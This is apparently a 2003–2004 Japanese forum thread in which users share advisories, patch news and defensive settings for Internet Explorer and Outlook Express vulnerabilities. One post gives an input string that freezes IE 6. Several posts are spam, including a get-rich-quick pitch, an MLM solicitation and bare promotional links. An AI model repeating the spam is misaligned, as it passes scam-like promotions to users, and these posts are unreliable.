最終的に年商３０００万円を目指してください。
ちゃんと教えます。稼ぎ方をおしえますので安心してください。
http://www.c-gmf.com/farewell/box08.htm

>>553
Windows98 はあと３、４年ぐらい不滅です！Part2
http://pc2.2ch.net/test/read.cgi/win/1055040506/l50

EdMax, WeMail32など複数のWindowsメーラにセキュリティホール
http://slashdot.jp/security/
[memo:6145] 複数のメールソフトに不適切なセキュリティゾーンが適用される欠陥
http://memo.st.ryukoku.ac.jp/archive/200307.month/6145.html

OEを糞といってた諸君、一言どうぞ。

Outlook Express6SP1を使っています。
ツール＜オプション＜メンテナンス＜最適化で以下のメッセージが表示されました。
いままで一度も出たことがありません。
このメッセージについて情報をお持ちの方はいらっしゃいませんでしょうか。
Outlook Expressのフォルダは別ドライブに移動してありますが、
移動後もこれまではうまく動いたと記憶しています。

環境はxpsp1　
関係ありそうなアプリはVB2003、ZoneAlarm（フリー版3.7.193）でしょうか。
ちょっと気持ちが悪いので情報提供方よろしくお願いします。

---------------------------
Outlook Express
---------------------------
Outlook Express またはほかのアプリケーションがこのフォルダを使用しています。
---------------------------
OK キャンセル
---------------------------

追加です。
アプリとしては上記のほか、
SpywareBlaster（スパイウエアブラスター）でオールチェック
Spybot（スパイボット）で免疫化適用
AdAware（アドアウエア）で定期チェック　です。
よろしくお願いします。

>>558
HTMLプレビューを許可した状態なら起きるというので、わざと切り替えない限りはOEよりは可能性は低い。

↑
（；´Д｀）

>>559
最適化中に送受信が入るとそのメッセージが出る。

>>561
OEはだいぶ前に対策済みでプレビュー許可しても発生しませんが、何か?
OEが塞いだ後も指摘されるまで放置してたという事は、OEが塞いだ他の穴も
放置されてる可能性が高いという事ですな。

>>563
やはりそうですか。そんな感じはしていました。
受信は当時1分間隔でチェックに設定していました。
それにしても、受信を完了させた直後でも上記の現象が出ていました。
現在はなぜか治りましたが、未知のスパイかウイルスかその類を
知らずに飼育していたのかもしれないと思って、
気持ち悪くて質問しました。検索はかなりしました。
現象が再発したらまたお尋ねしたく思います。

>>556

おお、ありがとう。
私は普段はセキュリティ板しか見ていないので、、（反省）。
亀レスになってしまいました（汗）。

>>557対応状況
Winbiffユーザーの皆様へ重要なお知らせ
http://www.orangesoft.co.jp/Winbiff20/secholl_20030317.html
ドラえもんメールアップデートモジュール公開のお知らせ
http://www.doraemon-mail.com/support/update.html
WeMail32 Ver.2.10beta1をリリースしました
http://www.ntes.co.jp/WeMail/whatsnew.html
EdMax更新履歴
http://www.edcom.jp/edmdes1.html
EdMaxフリー版更新履歴
http://www.edcom.jp/edmfree.html

問題点は、OEは対策されるまで公表されない場合が多い。
他のメーラはOEで公表後、後追いでの対策になる。

> OEは対策されるまで公表されない場合が多い。
あたりまえだろ、対策前に公表されたらアタックされるぞ

まぁ、公表されても見ないあほが多いけどな。

[Full-Disclosure] Internet Explorer 6 DoS Bug
http://lists.netsys.com/pipermail/full-disclosure/2003-July/010964.html
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2003/07.html#20030708_aux

>>571
Windows ME + IE 6 SP1でも、アドレスバーに c:\aux と入力して
enter すると IE 6 SP1がフリーズした。

(；´Д｀)感動した
http://homepage3.nifty.com/coco-nut/

>>571-572
Internet Explorer 6が「c:\aux」でフリーズするバグ
http://www.zdnet.co.jp/enterprise/0307/08/epn16.html

Windowsに3種類の深刻なセキュリティ・ホール，すべてのユーザーが対策を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030710/3/

（1）HTML コンバータのバッファ オーバーランにより，コードが実行される（823559）（MS03-023）
（2）Windows のバッファ オーバーランによりデータが破損する（817606）（MS03-024）
（3）ユーティリティ マネージャによる Windows メッセージ処理の問題により，権限が昇格する（822679）（MS03-025）

http://homepage.mac.com/hiroyuki44/

みてね！　
http://akipon.free-city.net/page003.html

>>575
不具合報告あり。
windows updateしたときに上げるスレ 6
http://pc2.2ch.net/test/read.cgi/win/1057833448/l50

WebブラウザOperaにサービス拒否攻撃を受ける新しい弱点
http://itpro.nikkeibp.co.jp/free/NT/WinSecurity/20030710/1/

>>579
関係ないだろ、スレのタイトル読めない？

>580
脳みそがクラックされてるから仕方ない

HTML コンバータのバッファ オーバーランにより、コードが実行される
http://www.microsoft.com/japan/technet/security/bulletin/MS03-023.asp
厳密にはIEやOEのセキュリティホールではないが、
喰らうタイミングがIEでWebページを見たときやOEでHTMLメールを
開いたときだから貼っとく。

>>579-581
IE/OEの代替でOpera勧める人がいるから、貼っといても無駄ではないと思う。

>>582はたぶんalign buffer overflowの修正だ。
http://www.pivx.com/larholm/unpatched/
「スクリプトによる貼り付け処理」を無効にすることで回避できるって書いてるし

>>583
だったらOperaのスレでやってくれ。
ここはIE/OE使う人のためのスレ。

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

保守

>>585
IE/OE使う人だけのためのスレじゃなくて、
より安全なブラウザ・メーラを建設的に話すスレ>>1でもあったんじゃない？
IE/OEの話題がメインだとしても。

1 July 2003: There are currently 19 unpatched vulnerabilities.
http://www.pivx.com/larholm/unpatched/

↑Unpatched IE security holes

>>588
IEコンポーネントの話ならともかく
Opera自体については完全にスレ違い。
そういったことはOperaのスレッドでどうぞ。

いつのまに"IE/OE使う人のためのスレ"になったんだ…

>>592
Operaの話題はOperaのスレでやれってことでしょ？
それとスレは君の私有物ではないよ

セキュリティパッチ情報集積所でも立てるか

漏れも全部一緒のほうがありがたい

http://www.microsoft.com/japan/technet/security/fixedhome.asp
しかし、わかりにくいところにあるなｗ

「MS03-030: DirectX の未チェックのバッファにより、コンピュータが侵害される(819696)」
http://www.microsoft.com/japan/technet/security/bulletin/MS03-030ov.asp

期間限定！もうお目にかかれない！

http://alink3.uic.to/user/angeler.html

http://altba.com/bakera/hatomaru.aspx/ebi/genre/00490045
＞XML の CDATA 区間の中に object を書かれると、何故か「マイコンピュータ」ゾーンの
＞セキュリティレベルで実行されてしまうようです
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2002/03.html#20020301_ie

これってもう対策されたんだっけ？

６００げっっとーーーーーおぉ！！

　　　 　∧＿∧　 ∧＿∧
ﾋﾟｭ.ｰ　（　 ・３・） (　　＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
　　＝〔~∪￣￣￣∪￣￣〕
　　＝ ◎――――――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉&ぼるじょあ

hage

>>599
とっくに対策されてるがそこに書かれている対処自体は
実行したほうがいい。
面倒ならWindows Update以外は常に制限ユーザーでIEを使え

いろいろ読ませてもらったけど、つまるところ
OEであれIEコンポーネント使用メーラーであれ、
IEと連携しないように、すべてのメッセージをテキスト形式で受信すれば
何ら問題ないわけですね。

>>604
違う。セキュリティホールを考慮してない。

すべてテキスト形式で受信するなら
IEコンポーネントいらないじゃん

OEの開発、提供停止
http://www.zdnet.com.au/newstech/ebusiness/story/0,2000048590,20277192,00.htm

>>607
メーラー作者は(ﾟдﾟ)ｳﾏｰか

　　　 (⌒V⌒)
　　　│ ＾ ＾ │＜これからも僕を応援して下さいね（＾＾）。
　　⊂|　　　　|つ
　　　（＿）（＿）　　　　　　　　　　　　　　　　　　　　　　山崎パン

（・３・）　エェー

IEに「緊急」の脆弱性、累積パッチリリース

http://www.zdnet.co.jp/enterprise/0308/21/epn02.html

Windows XP Service Pack 1 適用のお願い
- Windows XP 初期出荷版(SP1 未適用製品)向け修正プ ログラム提供終了のお知らせ
更新日: 2003 年 9 月 5 日
http://www.microsoft.com/japan/windowsxp/endofgold.asp

○「MS03-039: RPCSS サービスのバッファ オーバーランによりコードが実行され
る (824146)」
http://www.microsoft.com/japan/technet/security/bulletin/MS03-039ov.asp

○Internet Explorer 用の累積的な修正プログラム (822925) (MS03-032)
http://www.microsoft.com/japan/technet/security/bulletin/ms03-032.asp
今回の更新内容
このセキュリティ情報ページを更新し、このセキュリティ情報で提供された
修正プログラムが 「オブジェクト タグの脆弱性」 (CAN-2003-0532) を適切に
修正しないという報告についての情報を追加しました。

○Windows カーネル メッセージ処理のバッファ オーバーランにより、
権限が昇格する (811493) (MS03-013)
http://www.microsoft.com/japan/technet/security/bulletin/ms03-013.asp

○RPC インターフェイスのバッファ オーバーランによりコードが実行される
(823980) (MS03-026)
http://www.microsoft.com/japan/technet/security/bulletin/ms03-026.asp

IEのパッチに問題発覚，適用しても解消で きないセキュリティ・ホールが存在
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030909/1/

Windowsにまたもや“超特大”のセキュリ ティ・ホール，すぐにWindows Updateの実施を
第2，第3の「Blaster」ワームが出現する恐れあり
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030911/1/

致命的な奴が8つも追加…
http://www.pivx.com/larholm/unpatched/

2年前の脆弱性を突いた新ウイルスが拡散
http://www.zdnet.co.jp/enterprise/0309/19/epn03.html

W32.Swen.A@mm
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
WORM_SWEN.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SWEN.A&VSect=T
W32/Swen@MM
http://www.nai.com/japan/security/virS.asp?v=W32/Swen@MM

MS03-040: Internet Explorer 用の累積的な修正プログラム (828750)
http://www.microsoft.com/japan/technet/security/bulletin/MS03-040ov.asp

マイクロソフト、IE 5.01以後が対象の緊急の脆弱性「MS03-040」
http://internet.watch.impress.co.jp/cda/news/2003/10/04/654.html

米MS、とんだお粗末-重大な脆弱性用のパッチが役に立たず
http://japan.cnet.com/news/ent/story/0,2000047623,20060815,00.htm

IEに危険なセキュリティ・ホール，
WebページやHTMLメールを見るだけで被害を受ける

今回の累積パッチでは，過去のパッチでふさげなかった
セキュリティ・ホールも修正

http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20031005/135316/

後を絶たないIEのセキュリティ・ホール，設定変更などで“自衛”を
続々見つかるパッチの不具合，パッチ未公開のホールを狙うウイルスも
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20031014/1/

「ネットにつなぐだけで攻撃を受ける」――第三の“超特大”セキュリティ・ホールを解説する
Exploitが既に公開，パッチを適用してもメッセンジャ サービスは無効に
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20031028/1/

IE/OEと関係ないのでsage

IEを起動するとthesten.comという外国のアダルトサイトがホームページになっていて、
お気に入りに３つのそのサイトへのリンクが毎回入っています。
履歴やクッキーやゴミ箱の内容など全て消去しても絶対に起動したときに表示されます。

どのたか改善方法を教えてください。

http://pc2.2ch.net/test/read.cgi/pcqa/1067657959/

>>622
ここ逝こうね。
それと、ここで質問する前に、
最低限１から書かれているＦＡＱとか読んで、
書かれていること実行してみて、だめだったら
質問したほうがいいよ。それと、これ、マルチじゃないよね

Internet Explorer 用の累積的な修正プログラム (828750) (MS03-040)

最大深刻度 :緊急

影響を受けるソフトウェア :
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6
Microsoft Internet Explorer 6 for Windows Server 2003

http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-040.asp

↑ミス
Internet Explorer 6 SP1 用の累積的な修正プログラム (KB824145)
が出ているので、各自WindowsUpdateされたし。
現時点ではTechNetに情報なし。

サーバ関連情報レジストリがばれている限り貴方のPCに侵入した自己散布型ウイルスは自分を撒き散らします。
かといってOEの類を使うのを止めるのはしゃくですよね？
だから作りました。
貴方のPCが迷惑メール送信の加害者にならない為に・・・
http://homepage3.nifty.com/tokeon/Eng-B/SMTPmv.html
JavaですからLinuxPCでも動くには動きます。

IEに「緊急」のセキュリティ・ホール，マイクロソフトは累積パッチを公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20031112/136355/

MS、WindowsとOfficeの脆弱性修正パッチリリース
http://www.zdnet.co.jp/enterprise/0311/12/epn05.html
米マイクロソフト、米祝日にセキュリティパッチをリリース
http://japan.cnet.com/news/ent/story/0,2000047623,20061917,00.htm

MS03-048 - Internet Explorer 用の累積的なセキュリティ更新 (824145)
http://www.microsoft.com/japan/technet/security/bulletin/MS03-048.asp
●影響を受けるソフトウェア
・Microsoft Windows 98 Second Edition
・Microsoft Windows Millennium Edition
・Microsoft Windows NT Workstation 4.0
・Microsoft Windows NT Server 4.0
・Microsoft Windows NT Server 4.0, Terminal Server Edition
・Microsoft Windows 2000
・Microsoft Windows XP
・Microsoft Windows XP 64 bit Edition
・Microsoft Windows XP 64 bit Edition Version 2003
・Microsoft Windows Server 2003
・Microsoft Windows Server 2003 64 bit Edition
●影響
リモートからのコード実行

>>1
選択肢

（１）Datula、Netscape7.1 Mail、Edmaxなどを使う

部バージョンの「Eudora for Windows」にバッファオーバーフ
ローの脆弱性
http://www.zdnet.co.jp/enterprise/0311/12/epn06.html

q824145.exe /q:a /r:n

これも出来たとはな　(´ー`) フッ

誤爆したぜ

IEにパッチを当てるとスクロール操作に不具合，パッチの品質に改めて注意が必要
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20031118/1/

スクロールバーの空白部分をクリックすると画面スクロールが正しく行われない
http://support.microsoft.com/default.aspx?scid=kb;ja;832270

IEに複数のセキュリティ・ホール，対策はアクティブスクリプトを無効にすること
ホールを突くデモ・ページが公開中，最新パッチを適用していても影響を受ける
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20031128/136983/

Internet Explorer System Compromise Vulnerabilities
http://secunia.com/advisories/10289/
Internet Explorerの新セキュリティホールは「極めて危険」
http://www.zdnet.co.jp/enterprise/0311/26/epi02.html

Opera:特定のMIMEタイプを持つデータがユーザーに無許可でダウンロード・実行される問題
http://jp.opera.com/cgi-bin/supsearch2.cgi?options=index&name=j104

最近のウイルス対策製品も IE の御世話になってるもの多い感じだけど
どうなの?

> 最近のウイルス対策製品も IE の御世話になってるもの多い感じだけど
> どうなの?

まぁ、Windows自体に依存してるからね…。

WindowsがIEにも依存してるし。　<= help等

>> 637

そうだねー。でも OS が web browser に依存しているというのは。
完全に逆なんじゃないのかなあ?

少なくともセキュリティー関連のものは独自の仕組で
アップデートとか出来た方が安心だと思うのは間違いだろうか。
だからといって完璧ではないだろうけど、若干ましな気がする。

IEを使い続けるリスクを再認識しよう
パッチには複数の不具合，パッチ未公開のセキュリティ・ホールが続出
今週のSecurity Check [Windows編]　（第108回，2003年12月3日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20031202/1/

IEにURLを偽装できるパッチ未公開の脆弱性が発見される
〜緊急度が低いため、パッチはまだリリースしない（MS取締役東氏）
http://internet.watch.impress.co.jp/cda/news/2003/12/11/1451.html

>>640
ちなみに、Opera7.23ja(3226)だとセキュリティ警告のダイアローグが出る。

IEにURLを偽装できるセキュリティ・ホール，安易なクリックは禁物
セキュリティ・ホールを確認するWebページやHTMLメールが公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20031211/137400/

ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/2003/12.html#20031211_IE

>>641
Opera6.06でも警告を確認。
これ、ある意味新ウイルスに使われそうなのに、マイクロソフトは危険度低なのね・・・

JokeVirusってどうやって解除するんですか？

@impoでcss読み込んじゃうなんて何考えてんだろうな

こんにちは。ＭＬＭ・ＮＢ初心者です。
詳しい方や現在もしくは過去ＭＬＭ・ＮＢをやられていた方の
ご意見が聞きたくてページ作りました。
よろしくお願いします。

つまらない物ですが、お礼の品も用意しておりますので
ぜひ、どうぞ！

　　　http://gonbea.fc2web.com/

IEに2種類の新たなセキュリティ・ホールが見つかる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040110/138152/

月例パッチに含まれなかったIEの複数の脆弱性
http://www.itmedia.co.jp/enterprise/0401/14/epn15.html

解消されない“URLの偽装問題”，1月もIEのパッチは公開されず
Mozillaは最新版で対応完了，MDACのセキュリティ・ホールにも注意
今週のSecurity Check [Windows編]　（第110回，2004年1月21日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20040120/1/

URL偽装にご注意を！―Symantecのウイルス研究者が警告
http://itpro.nikkeibp.co.jp/free/NBY/NEWS/20040128/138984/

Microsoft plans to release a software update that modifies
the default behavior of Internet Explorer for handling user
information in HTTP and HTTPS URLs
http://support.microsoft.com/default.aspx?scid=kb;[LN];834489

IEに，ダウンロードするファイル名を偽装されるセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040129/139103/

>>652
もうなんでもありでつね

IEもうだめぽ

レベル緊急。

MS04-004 - Internet Explorer 用の累積的なセキュリティ修正プログラム (832894)

Internet Explorer 用の累積的なセキュリティ修正プログラム (832894) (MS04-004)
http://www.microsoft.com/japan/technet/security/bulletin/ms04-004.asp
2004 年 2 月のセキュリティ情報 (Windows)
http://www.microsoft.com/japan/technet/security/bulletin/winfeb04.asp

>>656
影響を受けるソフトウェア :
Microsoft Windows NTR Workstation 4.0 Service Pack 6a
Microsoft Windows NT Server 4.0 Service Pack 6a
Microsoft Windows NT Server 4.0 Terminal Server Edition, Service Pack 6
Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
Microsoft Windows XP, Microsoft Windows XP Service Pack 1
Microsoft Windows XP 64-Bit Edition, Microsoft Windows XP 64-Bit Edition Service Pack 1
Microsoft Windows XP 64-Bit Edition Version 2003
Microsoft Windows ServerR 2003
Microsoft Windows Server 2003, 64-Bit Edition

テストした Microsoft Windows および Officeコンポーネント :
Internet Explorer 6 Service Pack 1
Internet Explorer 6 Service Pack 1 (64-Bit Edition)
Internet Explorer 6 Service Pack 1 for Windows Server 2003
Internet Explorer 6 Service Pack 1 for Windows Server 2003 (64-Bit Edition)
Internet Explorer 6
Internet Explorer 5.5 Service Pack 2
Internet Explorer 5.01 Service Pack 4

>>657
Windows 98(SE),Windows Meがないのは、影響がないのではなくて、
サポート終了に伴い評価の対象外になったため。
http://www.microsoft.com/japan/win98/98meExtend.htm
http://www.microsoft.com/japan/win98/98meextendfaq.htm
（有償サポート契約を結んでいない一般ユーザは、
　03年12月31日で98/Meのサポートは終了。）

>>658
>>657には98SE,MEはあがってないけど、個別のパッチのところには
98SE、MEもあがっていて適用可能だね。
http://www.microsoft.com/downloads/details.aspx?FamilyId=70530968-B59A-47C0-90D3-0C884910BC97&displaylang=ja
>システム要件
>サポートされているオペレーティング システム : Windows 2000 Service Pack 2, Windows 2000 Service Pack 3,
>Windows 2000 Service Pack 4, Windows 98, Windows 98 Second Edition, Windows ME, Windows NT, Windows XP
>この修正プログラムは、次のオペレーティング システム用の Internet Explorer に対して適用されます。
>Windows XP SP1
>Windows XP
>Windows Millennium Edition (Windows Me)
>Windows 2000 SP2
>Windows 2000 SP3
>Windows 2000 SP4
>Windows 98 SE
>Windows NT 4.0 SP6A

今回のパッチは良く考えてからｲﾝｽｺした方が良さげ
ｽｸﾛｰﾙはかちゅにも影響してるので直したいのだがｗ

IE 6の最新パッチにトラブル，記憶させたパスワードが表示されなくなる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040203/139279/
MS04-004 Internet Explorer 6 Service Pack 1 用セキュリティ問題の累積的な修正プログラム
(KB832894)の適用後、記憶したはずのユーザー名とパスワードが表示されなくなる
ttp://support.microsoft.com/default.aspx?scid=http://www.microsoft.com/japan/support/sokuho/default.asp#Record_94

マイクロソフト，IEのセキュリティ・パッチを緊急リリース
URLの“偽装問題”を含む，3種類のセキュリティ・ホールを解消
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040203/139235/
MS、IEの脆弱性に対応の臨時パッチ
http://www.itmedia.co.jp/enterprise/0402/03/epc03.html
IE用の新パッチ発行で電子商取引に混乱の可能性も
http://www.itmedia.co.jp/enterprise/0402/02/epic01.html

そもそもブラウザに記録させるようなPASSに、
PASSの意味はあるのかあと小一時間は問い詰めない。

>>662ワラタ。

ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice
ofiice

↓IEの脆弱の部分　下記のソフトで補うことが出来るんだろうか？
このソフト使っている人いたら　教えてね

BB de!!スマートブラウジング Ver.1　

Opinion：IE臨時パッチをめぐる混乱はなぜ起きたのか
http://www.itmedia.co.jp/enterprise/0402/10/epc17.html

漏えいしたWindowsのソースコードから早くもIE 5の脆弱性が発見される
〜リモートから任意のコードを実行可能。IE 6は影響なし
http://internet.watch.impress.co.jp/cda/news/2004/02/17/2118.html
マイクロソフト、複数の脆弱性を攻撃する手口が公開されていると警告
http://internet.watch.impress.co.jp/cda/news/2004/02/17/2125.html

流出したWindowsのソース・コードでIE 5のセキュリティ・ホールが見つかる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040217/139945/
攻撃コードが既に出現，Windowsの“超特大”級セキュリティ・ホールを解説する
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20040217/1/

ソースコード流出がきっかけで指摘された新たなIEの脆弱性、その影響は？
Windows 2000とWindows NT 4のソースコードの一部がインターネットに流出したことが
明らかになってからわずか2日後、そのコードを元に、Internet Explorerの新たな脆弱
性が指摘された。
http://www.itmedia.co.jp/enterprise/0402/18/epn03.html

IEにパッチ未公開のセキュリティ・ホール，攻撃コードも出現している
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040220/140200/

IEのフレーム悪用でパスワード漏れ――iDEFENSEが警告
http://www.itmedia.co.jp/enterprise/0403/01/epic01.html

Windows XP Service Pack 2ベータ版プレビュー（パート2）後編
「Security Center」，IE，OEのセキュリティ機能
http://itpro.nikkeibp.co.jp/members/NT/WinNext/20040302/2/

>673
>Outlook ExpressはHTMLメールから身を守れる
>　MicrosoftはOutlook 2003において，HTML形式の電子メール内にある画像
>をブロックし，危険な可能性のある電子メールの添付物（例えば.exeという拡張
>子のファイル）を隔離するという，非常にニーズの高い安全対策を導入した。
>同社はXP SP2でこの機能をOutlook Expressに追加しようとしている。

>>673
>ブラウザのアドオン管理はよくできている
>　XP SP2のIEに追加される機能として，「Add-on Management」ツー
>ルがある。これはあなたがプラグインやツールバー，そのほかのご自
>分のシステムにインストールしたIEのアドオンを，リストの形で表示
>させたり，管理したりするのを手助けする。Add-on Managementツー
>ルは，私が知っているところでは，2つの基本機能を備えている。…

>IEの設定はスクリプトによる変更が不可に
>　さて，IEに対するセキュリティ面の変更はこれだけに終わらない。
>XP SP2では，IEのウインドウに対してスクリプトによって設定変更を
>加えるのを防げる。

　

URL偽装問題再び――IEとOutlookに
Internet ExplorerとOutlook Expressに、URL偽装が可能な新たな問題が存在することが判明した。
http://www.itmedia.co.jp/enterprise/0404/02/epn07.html

>>677
その上で右クリすれば見破れる。

いちいち右クリしなきゃならんのか…

HTMLメールをテキストで表示するようにしてれば大丈夫なのではないかと…

リンク先のURLを偽装できるセキュリティ・ホールがIEに，OEユーザーは特に注意
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040405/142470/

Internet Explorer showHelp() Restriction Bypass Vulnerability (secunia.com, 2004-03-29)
http://secunia.com/advisories/10523/
ttp://www.st.ryukoku.ac.jp/~kjm/security/memo/#20040406_showHelp

>>680
それはﾏﾝﾄﾞｸｾ・・
でも、そうしないとヤバい？

Outlook 2003はOEとちがってプレビューしても安全でしょうか？

ｽﾏｿ
http://www.microsoft.com/japan/office/outlook/prodinfo/virus/olkscrty.asp
に書いてありました。

>>682
ノートンは"MHTMLRedir.Exploit"として検出するようだ。

>>682
それexploit公開されてる?
XPSP2だと発動しないのか再現に失敗してるだけなのか
確かめたいんだが

MS03-032が当たってれば問題ないのか
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2004/04.html#20040407_tuiki

>>686
参考
MHTMLRedir.Exploit 発見日: 2003年12月11日 (米国時間)
http://www.symantec.com/region/jp/sarcj/data/m/mhtmlredir.exploit.html
>MHTMLRedir.Exploitは、悪意のあるWebサイトがユーザのコンピュータにプログラムをダウンロードし、
>実行することができるようにします。

Vendor Status Note JVNTA04-099A
Microsoft Internet Explorer に含まれる ITS プロトコルハンドラの脆弱性
http://jvn.doi.ics.keio.ac.jp/vn/JVNTA04-099A.html

W32/Bugbear-E
>ZIP 拡張子のある添付ファイルは、ベース64でエンコーディングされたワーム
>を持つ圧縮 HTMLを含み、HTML ファイルが開けられた時にワームが解読されて
>自動的に実行されるよう、 Microsoft Internet Explorer に関連するコードの
>脆弱性を利用しようとします。
http://www.sophos.co.jp/virusinfo/analyses/w32bugbeare.html

IEのパッチ未公開セキュリティ・ホールをUS-CERTなどが警告，複数の攻撃コードが出回っている
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040409/142701/

IE脆弱性を狙ったウイルスが登場、MSは「対策を進めている」
http://www.itmedia.co.jp/enterprise/0404/10/epn01.html
IEに脆弱性、完全な解決策は存在せず
http://www.itmedia.co.jp/enterprise/0404/10/epc02.html

これはヤバいかも・・・

===緊急===
MS04-013 - Outlook Express 用の累積的な修正プログラム (837009)
http://www.microsoft.com/japan/technet/security/bulletin/ms04-013.asp

Outlook Expressに「緊急」のセキュリティ・ホール，すぐにパッチの適用を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040414/142886/

>>7

HTMLの表示　＞　ﾃｷｽﾄに変換して表示

>>197
ｾｷｭﾘﾃｨｰをするのに　無料と思ってる前提が糞でつ

2年前の投稿にレスつけられてもな・・・

>>688
問題あった
そこに書かれてるのはMS03-032とMS04-013を組み合わせた
攻撃が存在するということだけで、MS03-032を利用しない
攻撃も可能

パッチをあてる　と
アップグレードは意味ちがうのですか？

厳密にはな、まあ前後の文意から読め

つーか何の話だ

>>699
パッチをあてるは文字通りその穴に対する「つぎあて」。グレードはあがらないのが普通。

パッチ未公開のセキュリティ・ホールにも対応，最新版「IEを使い続けるための“お勧め”設定」
今までの“お勧め”設定では不十分，「マイ コンピュータ」ゾーンでもセキュリティ設定を
今週のSecurity Check [Windows編]　（第116回，2004年4月14日
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20040413/2/

ID詐取「フィッシング」を防止するIE向けツールバー，米EarthLinkが発表
http://itpro.nikkeibp.co.jp/free/ITPro/USNEWS/20040420/143274/

サイトー企画社の鶴亀メール バージョン 3.50 for Windows に
Buffer Overflow の問題を発見しました。悪意のある攻撃者は、
この問題を利用し 鶴亀メールを実行するユーザの権限で任意
のコードを実行できる可能性があります。
http://www.lac.co.jp/security/csl/intelligence/SNSadvisory/71.html

「危険なセキュリティ・ホールが複数，深刻度が『なし』から『緊急』に」
――4月のセキュリティ情報を解説する
“超特大”のセキュリティ・ホールが含まれる，相次ぐセキュリティ情報の変更に注意
今週のSecurity Check [Windows編]　（第117回，2004年4月21日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20040420/1/

セキュリティ・ホールを突くフィッシングが出現，キー・ロガーを仕掛ける
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040421/143365/
>今回のフィッシングが突くセキュリティ・ホールは，マイクロソフト
>が4月14日に公開したセキュリティ・ホールの一つ「MS04-013」であ
>る（関連記事）。このセキュリティ・ホールは「Outlook Expressに
>関するセキュリティ・ホール」とされているものの，正確には
>Outlook Expressに実装されている「MHTMLプロトコル・ハンドラ」の
>セキュリティ・ホールである。このため，Outlook Expressに限らず，
>Internet Explorer（IE）などで「mhtml」を含むURLにアクセスする
>場合には，このセキュリティ・ホールの影響を受ける。同社のセキュ
>リティ情報で「Outlook Expressを使っていなくても，Outlook Express
>がインストールされている環境ではパッチを適用する必要がある」と
>しているのはこのためである。つまり，「MS04-013」のパッチを適用
>していない環境において，偽のメール（フィッシング・メール）に記
>載されたリンクにIEでアクセスすると，キー・ロガーを勝手にインス
>トールされることになる。

Norton Internet Security 2004
圧縮ファイルもリアルタイムで監視可能だが、ONにすると重すぎ
スクリプト遮断機能がある
広告ブロックがアメリカ仕様で、お絵かき掲示板などの画像も消してしまう
スレに貼り付けてあるだけのウイルスコードに反応する
2chの過去ログ取得する時はFWを無効にしないといけない
Antispamが勝手にメーラーと統合する上に不安定（OEと相性が悪い？）
ポップアップ通知が鬱陶しい
LiveUpdateが遅い
ｗｅｂごとにスプリクト遮断やActiveX遮断やプライバシー制御の設定ができる
WEB閲覧するときHTMLファイルにスクリプトを埋め込む処理が重い
　（XPSP2ではデフォルトでポップアップ広告遮断機能があるので無駄になる）
回線速度が遅くなるという報告
ルールが適切ではないとの声もあるがPFWルールの自動作成が進んでいる
不正コピー・不正期限延長ユーザーが多い
個人情報を送ってるかについては疑惑は晴れず。
http://www.symantec.com/region/jp/products/nis/features.html
http://www.symantec.com/region/jp/products/nav/features.html

ウイルスバスター2004
圧縮ファイルもリアルタイムで監視可能だが、ONにすると重すぎ
FWレベル高にしないとアプリごとの制御ができない等、おまけ程度
スパイウェアの検出をするが削除は出来ない
迷惑メール検出の判定精度が悪い上に検出しても件名に[MEIWAKU]と付けるだけで意味がない
ユーザー登録しないとウィルス定義をUPできないので不正コピーユーザーは少ない
http://www.trendmicro.com/jp/products/desktop/vb/evaluate/features.htm

FWがしょぼい代わりに不具合が少ないバスターとFWにいろいろと機能が付いてる
代わりに不具合大盛りなNISって感じかな。
どちらもアンチウイルス機能自体には文句が出ないのは例年通り。

http://pc3.2ch.net/test/read.cgi/sec/1067918099/321

Eudoraに深刻なセキュリティホール
http://www.itmedia.co.jp/enterprise/0405/08/epc05.html

Outlook ExpressやEudoraなどに
ステータス・バーを偽装できるセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040511/143979/
>メール・ソフトOutlook Express／OutlookおよびEudoraに，
>リンクの飛び先を表示するステータス・バーを偽装できる
>セキュリティ・ホールがそれぞれ見つかっている。

>>709
